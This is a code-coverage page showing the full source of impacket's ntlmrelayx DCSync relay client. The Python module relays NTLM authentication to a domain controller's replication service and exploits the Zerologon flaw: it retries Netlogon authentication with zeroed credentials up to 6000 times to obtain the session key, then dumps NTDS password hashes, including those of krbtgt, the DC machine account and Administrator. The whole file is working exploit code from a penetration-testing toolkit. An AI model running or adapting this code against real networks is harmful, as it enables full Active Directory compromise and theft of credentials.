Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/dcsyncclient.py : 10%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved.
2#
3# This software is provided under under a slightly modified version
4# of the Apache Software License. See the accompanying LICENSE file
5# for more information.
6#
7# Author:
8# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
9# Alberto Solino (@agsolino)
10# Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)
11#
13from struct import unpack, pack
14from binascii import hexlify, unhexlify
15import traceback
16from Cryptodome.Cipher import ARC4
17from impacket import LOG, ntlm
18from impacket.smbconnection import SMBConnection
19from impacket.examples.ntlmrelayx.clients import ProtocolClient
20from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
21from impacket.ntlm import NTLMAuthChallenge, generateEncryptedSessionKey, NTLMAuthChallengeResponse, AV_PAIRS, NTLMSSP_AV_HOSTNAME, \
22 NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SEAL
23from impacket.spnego import SPNEGO_NegTokenResp
24from impacket.dcerpc.v5 import transport, rpcrt, epm, drsuapi, nrpc
25from impacket.dcerpc.v5.ndr import NDRCALL
26from impacket.dcerpc.v5.dtypes import NULL
27from impacket.dcerpc.v5.rpcrt import DCERPC_v5, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck, \
28 MSRPCRespHeader, MSRPCBindNak, DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_CONNECT, \
29 rpc_status_codes, rpc_provider_reason, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
30from impacket.examples.secretsdump import RemoteOperations, SAMHashes, NTDSHashes
32PROTOCOL_CLIENT_CLASS = "DCSYNCRelayClient"
34class DCSYNCRelayClientException(Exception):
35 pass
37class MYDCERPC_v5(DCERPC_v5):
38 def __init__(self, transport):
39 DCERPC_v5.__init__(self, transport)
41 def sendBindType1(self, iface_uuid, auth_data):
42 bind = MSRPCBind()
44 item = CtxItem()
45 item['AbstractSyntax'] = iface_uuid
46 item['TransferSyntax'] = self.transfer_syntax
47 item['ContextID'] = 0
48 item['TransItems'] = 1
49 bind.addCtxItem(item)
51 packet = MSRPCHeader()
52 packet['type'] = rpcrt.MSRPC_BIND
53 packet['pduData'] = bind.getData()
54 packet['call_id'] = 0
56 sec_trailer = SEC_TRAILER()
57 sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT
58 sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
59 sec_trailer['auth_ctx_id'] = 79231
61 pad = (4 - (len(packet.get_packet()) % 4)) % 4
62 if pad != 0:
63 packet['pduData'] += b'\xFF' * pad
64 sec_trailer['auth_pad_len'] = pad
66 packet['sec_trailer'] = sec_trailer
67 packet['auth_data'] = auth_data
69 self._transport.send(packet.get_packet())
71 s = self._transport.recv()
73 if s != 0:
74 resp = MSRPCHeader(s)
75 else:
76 return 0 #mmm why not None?
78 if resp['type'] == rpcrt.MSRPC_BINDACK or resp['type'] == rpcrt.MSRPC_ALTERCTX_R:
79 bindResp = MSRPCBindAck(resp.getData())
80 elif resp['type'] == rpcrt.MSRPC_BINDNAK or resp['type'] == rpcrt.MSRPC_FAULT:
81 if resp['type'] == rpcrt.MSRPC_FAULT:
82 resp = MSRPCRespHeader(resp.getData())
83 status_code = unpack('<L', resp['pduData'][:4])[0]
84 else:
85 resp = MSRPCBindNak(resp['pduData'])
86 status_code = resp['RejectedReason']
87 if status_code in rpc_status_codes:
88 raise DCERPCException(error_code = status_code)
89 elif status_code in rpc_provider_reason:
90 raise DCERPCException("Bind context rejected: %s" % rpc_provider_reason[status_code])
91 else:
92 raise DCERPCException('Unknown DCE RPC fault status code: %.8x' % status_code)
93 else:
94 raise DCERPCException('Unknown DCE RPC packet type received: %d' % resp['type'])
96 self.set_max_tfrag(bindResp['max_rfrag'])
98 return bindResp
100 def sendBindType3(self, auth_data):
101 sec_trailer = SEC_TRAILER()
102 sec_trailer['auth_type'] = RPC_C_AUTHN_WINNT
103 sec_trailer['auth_level'] = RPC_C_AUTHN_LEVEL_PKT_PRIVACY
104 sec_trailer['auth_ctx_id'] = 79231
106 auth3 = MSRPCHeader()
107 auth3['type'] = rpcrt.MSRPC_AUTH3
109 # pad (4 bytes): Can be set to any arbitrary value when set and MUST be
110 # ignored on receipt. The pad field MUST be immediately followed by a
111 # sec_trailer structure whose layout, location, and alignment are as
112 # specified in section 2.2.2.11
113 auth3['pduData'] = b' '
114 auth3['sec_trailer'] = sec_trailer
115 auth3['auth_data'] = auth_data
116 auth3['call_id'] = 0
118 self._transport.send(auth3.get_packet(), forceWriteAndx = 1)
120# Special class that allows skipping Samr connections (they are not strictly needed)
121class PatchedRemoteOperations(RemoteOperations):
123 def getMachineNameAndDomain(self):
124 return '', ''
126 def connectSamr(self, domain):
127 return
129class DCSYNCRelayClient(ProtocolClient):
130 """
131 DCSync relay client. Relays to DRSUAPI directly. Since this requires signing+sealing, it
132 invokes the Zerologon vulnerability to impersonate the DC and grab the session key over Netlogon.
133 """
134 PLUGIN_NAME = "DCSYNC"
136 def __init__(self, serverConfig, target, targetPort=None, extendedSecurity=True):
137 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
139 self.endpoint = serverConfig.rpc_mode
141 self.endpoint_uuid = drsuapi.MSRPC_UUID_DRSUAPI
143 LOG.debug("Connecting to ncacn_ip_tcp:%s[135] to determine %s stringbinding" % (target.netloc, self.endpoint))
144 self.stringbinding = epm.hept_map(target.netloc, self.endpoint_uuid, protocol='ncacn_ip_tcp')
146 LOG.debug("%s stringbinding is %s" % (self.endpoint, self.stringbinding))
148 def initConnection(self):
149 rpctransport = transport.DCERPCTransportFactory(self.stringbinding)
151 if self.serverConfig.rpc_use_smb:
152 LOG.info("Authenticating to smb://%s:%d with creds provided in cmdline" % (self.target.netloc, self.serverConfig.rpc_smb_port))
153 rpctransport.set_credentials(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \
154 self.serverConfig.smblmhash, self.serverConfig.smbnthash)
155 rpctransport.set_dport(self.serverConfig.rpc_smb_port)
157 self.session = MYDCERPC_v5(rpctransport)
158 self.session.set_auth_level(rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
159 self.session.connect()
161 return True
163 def sendNegotiate(self, auth_data):
164 negoMessage = NTLMAuthNegotiate()
165 negoMessage.fromString(auth_data)
166 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:
167 negoMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL
168 self.negotiateMessage = negoMessage.getData()
169 bindResp = self.session.sendBindType1(self.endpoint_uuid, self.negotiateMessage)
171 self.challenge = NTLMAuthChallenge()
172 self.challenge.fromString(bindResp['auth_data'])
174 return self.challenge
176 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
177 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
178 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
179 auth_data = respToken2['ResponseToken']
180 else:
181 auth_data = authenticateMessageBlob
183 remoteOps = None
184 try:
185 signingkey = self.netlogonSessionKey(serverChallenge, authenticateMessageBlob)
186 # Something failed
187 if signingkey == 0:
188 return
189 self.session.set_session_key(signingkey)
190 authenticateMessage = NTLMAuthChallengeResponse()
191 authenticateMessage.fromString(auth_data)
193 # Recalc mic
194 authenticateMessage['MIC'] = b'\x00' * 16
195 if authenticateMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:
196 authenticateMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL
197 newmic = ntlm.hmac_md5(signingkey, self.negotiateMessage + self.challenge.getData() + authenticateMessage.getData())
198 authenticateMessage['MIC'] = newmic
199 self.session.sendBindType3(authenticateMessage.getData())
201 # Now perform DRS bind
202 # This code comes from secretsdump directly
203 request = drsuapi.DRSBind()
204 request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
205 drs = drsuapi.DRS_EXTENSIONS_INT()
206 drs['cb'] = len(drs) #- 4
207 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \
208 drsuapi.DRS_EXT_STRONG_ENCRYPTION
209 drs['SiteObjGuid'] = drsuapi.NULLGUID
210 drs['Pid'] = 0
211 drs['dwReplEpoch'] = 0
212 drs['dwFlagsExt'] = 0
213 drs['ConfigObjGUID'] = drsuapi.NULLGUID
214 # I'm uber potential (c) Ben
215 drs['dwExtCaps'] = 0xffffffff
216 request['pextClient']['cb'] = len(drs)
217 request['pextClient']['rgb'] = list(drs.getData())
218 resp = self.session.request(request)
220 # Initialize remoteoperations
221 if self.serverConfig.smbuser != '':
222 smbConnection = SMBConnection(self.target.netloc, self.target.netloc)
223 smbConnection.login(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \
224 self.serverConfig.smblmhash, self.serverConfig.smbnthash)
225 remoteOps = RemoteOperations(smbConnection, False)
226 else:
227 remoteOps = PatchedRemoteOperations(None, False)
229 # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
230 drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
232 # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
233 ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (
234 len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
235 drsExtensionsInt.fromString(ppextServer)
237 if drsExtensionsInt['dwReplEpoch'] != 0:
238 # Different epoch, we have to call DRSBind again
239 LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[
240 'dwReplEpoch'])
241 drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
242 request['pextClient']['cb'] = len(drs)
243 request['pextClient']['rgb'] = list(drs.getData())
244 resp = self.session.request(request)
246 remoteOps._RemoteOperations__hDrs = resp['phDrs']
248 domainName = authenticateMessage['domain_name'].decode('utf-16le')
249 # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
250 resp = drsuapi.hDRSDomainControllerInfo(self.session, remoteOps._RemoteOperations__hDrs, domainName, 2)
251 # LOG.debug('DRSDomainControllerInfo() answer')
252 # resp.dump()
254 if resp['pmsgOut']['V2']['cItems'] > 0:
255 remoteOps._RemoteOperations__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
256 else:
257 LOG.error("Couldn't get DC info for domain %s" % domainName)
258 raise Exception('Fatal, aborting')
259 remoteOps._RemoteOperations__drsr = self.session
261 # Initialize NTDSHashes object
262 if self.serverConfig.smbuser != '':
263 # We can dump all :)
264 nh = NTDSHashes(None, None, isRemote=True, history=False,
265 noLMHash=False, remoteOps=remoteOps,
266 useVSSMethod=False, justNTLM=False,
267 pwdLastSet=False, resumeSession=None,
268 outputFileName='hashes', justUser=None,
269 printUserStatus=False)
270 nh.dump()
271 else:
272 # Most important, krbtgt
273 nh = NTDSHashes(None, None, isRemote=True, history=False,
274 noLMHash=False, remoteOps=remoteOps,
275 useVSSMethod=False, justNTLM=False,
276 pwdLastSet=False, resumeSession=None,
277 outputFileName='hashes', justUser=domainName + '/krbtgt',
278 printUserStatus=False)
279 nh.dump()
280 # Also important, DC hash (to sync fully)
281 av_pairs = authenticateMessage['ntlm'][44:]
282 av_pairs = AV_PAIRS(av_pairs)
283 serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
284 nh = NTDSHashes(None, None, isRemote=True, history=False,
285 noLMHash=False, remoteOps=remoteOps,
286 useVSSMethod=False, justNTLM=False,
287 pwdLastSet=False, resumeSession=None,
288 outputFileName='hashes', justUser=domainName + '/' + serverName + '$',
289 printUserStatus=False)
290 nh.dump()
291 # Finally, builtin\Administrator providing it was not renamed
292 try:
293 nh = NTDSHashes(None, None, isRemote=True, history=False,
294 noLMHash=False, remoteOps=remoteOps,
295 useVSSMethod=False, justNTLM=False,
296 pwdLastSet=False, resumeSession=None,
297 outputFileName='hashes', justUser=domainName + '/Administrator',
298 printUserStatus=False)
299 nh.dump()
300 except Exception:
301 LOG.error('Could not dump administrator (renamed?)')
303 return None, STATUS_SUCCESS
304 except Exception as e:
305 traceback.print_exc()
306 finally:
307 if remoteOps is not None:
308 remoteOps.finish()
310 def netlogonSessionKey(self, challenge, authenticateMessageBlob):
311 # Here we will use netlogon to get the signing session key
312 LOG.info("Connecting to %s NETLOGON service" % self.target.netloc)
314 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
315 authenticateMessage = NTLMAuthChallengeResponse()
316 authenticateMessage.fromString(respToken2['ResponseToken'])
317 domainName = authenticateMessage['domain_name'].decode('utf-16le')
318 flags = authenticateMessage['flags']
319 try:
320 av_pairs = authenticateMessage['ntlm'][44:]
321 av_pairs = AV_PAIRS(av_pairs)
323 serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
324 except:
325 LOG.debug("Exception:", exc_info=True)
326 # We're in NTLMv1, not supported
327 return STATUS_ACCESS_DENIED
329 binding = epm.hept_map(self.target.netloc, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
331 dce = transport.DCERPCTransportFactory(binding).get_dce_rpc()
332 dce.connect()
333 dce.bind(nrpc.MSRPC_UUID_NRPC)
334 MAX_ATTEMPTS = 6000
335 for attempt in range(0, MAX_ATTEMPTS):
336 resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'\x00'*8)
338 serverChallenge = resp['ServerChallenge']
340 ppp = b'\x00'*8
341 try:
342 nrpc.hNetrServerAuthenticate3(dce, NULL, serverName + '$\x00',
343 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, serverName + '\x00',
344 ppp, 0x212effef)
345 except nrpc.DCERPCSessionError as ex:
346 # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
347 if ex.get_error_code() == 0xc0000022:
348 continue
349 else:
350 LOG.error('Unexpected error code from DC: %d.', ex.get_error_code())
351 except BaseException as ex:
352 LOG.error('Unexpected error: %s', str(ex))
353 LOG.info('Netlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!', attempt)
354 break
355 else:
356 LOG.error('No success bypassing auth after 6000 attempts. Target likely patched!')
357 return
358 clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10)
360 # Now let's try to verify the security blob against the PDC
362 lflags = unpack('<L', b'\xe0\x2a\x00\x00')[0]
363 request = nrpc.NetrLogonSamLogonWithFlags()
364 request['LogonServer'] = '\x00'
365 request['ComputerName'] = serverName + '\x00'
366 request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
368 request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
369 request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
370 request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName
371 request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = lflags
372 request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[
373 'user_name'].decode('utf-16le')
374 request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''
375 request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = challenge
376 request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']
377 request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']
379 authenticator = nrpc.NETLOGON_AUTHENTICATOR()
380 authenticator['Credential'] = b'\x00'*8 #nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
381 authenticator['Timestamp'] = 0
383 request['Authenticator'] = authenticator
384 request['ReturnAuthenticator']['Credential'] = b'\x00'*8
385 request['ReturnAuthenticator']['Timestamp'] = 0
386 request['ExtraFlags'] = 0
387 #request.dump()
388 try:
389 resp = dce.request(request)
390 #resp.dump()
391 except DCERPCException as e:
392 LOG.debug('Exception:', exc_info=True)
393 LOG.error(str(e))
394 return e.get_error_code()
396 LOG.info("%s\\%s successfully validated through NETLOGON" % (
397 domainName, authenticateMessage['user_name'].decode('utf-16le')))
399 encryptedSessionKey = authenticateMessage['session_key']
400 if encryptedSessionKey != '':
401 signingKey = generateEncryptedSessionKey(
402 resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)
403 else:
404 signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey']
406 LOG.info("NTLM Sign/seal key: %s " % hexlify(signingKey).decode('utf-8'))
407 if flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
408 self.session._DCERPC_v5__clientSigningKey = ntlm.SIGNKEY(flags, signingKey)
409 self.session._DCERPC_v5__serverSigningKey = ntlm.SIGNKEY(flags, signingKey,b"Server")
410 self.session._DCERPC_v5__clientSealingKey = ntlm.SEALKEY(flags, signingKey)
411 self.session._DCERPC_v5__serverSealingKey = ntlm.SEALKEY(flags, signingKey,b"Server")
412 # Preparing the keys handle states
413 cipher3 = ARC4.new(self.session._DCERPC_v5__clientSealingKey)
414 self.session._DCERPC_v5__clientSealingHandle = cipher3.encrypt
415 cipher4 = ARC4.new(self.session._DCERPC_v5__serverSealingKey)
416 self.session._DCERPC_v5__serverSealingHandle = cipher4.encrypt
417 else:
418 # Same key for everything
419 self.session._DCERPC_v5__clientSigningKey = signingKey
420 self.session._DCERPC_v5__serverSigningKey = signingKey
421 self.session._DCERPC_v5__clientSealingKey = signingKey
422 self.session._DCERPC_v5__serverSealingKey = signingKey
423 cipher = ARC4.new(self.session._DCERPC_v5__clientSigningKey)
424 self.session._DCERPC_v5__clientSealingHandle = cipher.encrypt
425 self.session._DCERPC_v5__serverSealingHandle = cipher.encrypt
426 self.session._DCERPC_v5__sequence = 0
427 self.session._DCERPC_v5__flags = flags
428 return signingKey
430 def killConnection(self):
431 if self.session is not None:
432 self.session.get_rpc_transport().disconnect()
433 self.session = None
435 def keepAlive(self):
436 return